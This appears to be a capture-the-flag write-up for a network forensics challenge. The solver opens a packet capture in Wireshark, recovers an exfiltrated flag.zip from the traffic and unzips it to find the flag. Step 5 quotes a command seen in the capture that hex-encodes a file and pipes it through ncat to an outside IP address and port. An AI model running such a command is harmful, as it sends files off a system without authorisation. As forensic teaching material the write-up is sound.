1. Download the attached file cap.pcap
2. To resolve this challenge, I used Wireshark
3. Open the downloaded file with Wireshark
4. While parsing packets, we can find some commands
5. Continue parsing the packets until you find interesting commands and returns:

• ls Documents wich returns flag.zip
• […] and after
• xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200 wich returns the file content as bytes

6. You can export the packet bytes into a zip file
7. Unzip it
8. The flag is located into the file flag.txt